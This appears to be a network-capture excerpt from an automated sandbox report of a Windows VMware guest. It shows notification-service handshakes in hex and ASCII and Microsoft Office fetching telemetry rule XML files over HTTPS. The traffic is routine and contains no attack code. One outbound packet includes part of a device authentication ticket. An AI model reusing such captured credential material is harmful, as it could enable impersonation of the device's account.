2024-11-07 16:25:04 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 6b 44 58 75 58 73 30 56 45 4b 50 48 45 58 68 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 32 37 37 64 62 33 36 64 64 33 62 63 65 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +kDXuXs0VEKPHEXh.1Context: 68277db36dd3bce1
2024-11-07 16:25:04 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-07 16:25:04 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 6b 44 58 75 58 73 30 56 45 4b 50 48 45 58 68 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 32 37 37 64 62 33 36 64 64 33 62 63 65 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +kDXuXs0VEKPHEXh.2Context: 68277db36dd3bce1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-07 16:25:04 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 6b 44 58 75 58 73 30 56 45 4b 50 48 45 58 68 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 32 37 37 64 62 33 36 64 64 33 62 63 65 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +kDXuXs0VEKPHEXh.3Context: 68277db36dd3bce1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-07 16:25:04 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-07 16:25:04 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 42 56 64 4a 6d 59 43 56 35 30 79 74 4b 77 4c 68 4a 54 4e 37 42 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: BVdJmYCV50ytKwLhJTN7Bg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:09 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:09 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:09 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 06 Nov 2024 18:31:38 GMT ETag: "0x8DCFE914061AA07" x-ms-request-id: e16f5ec5-401e-00a3-13f4-308b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162509Z-16547b76f7fnm7lfhC1DFWkxt4000000087g00000000nkfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:09 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-07 16:25:09 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-07 16:25:09 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-07 16:25:09 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-07 16:25:09 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-07 16:25:09 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-07 16:25:09 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-07 16:25:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-07 16:25:10 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-07 16:25:10 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:11 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162511Z-16547b76f7fsjlq8hC1DFWehq0000000084g00000000fzsb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:11 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:11 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2a69d0a5-301e-000c-194f-2f323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162511Z-15869dbbcc6tjwwhhC1DFWn22800000001pg00000000d1ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:11 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:11 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:11 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162511Z-16547b76f7fj5p7mhC1DFWf8w400000008m0000000000syy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 16:25:11 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:11 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
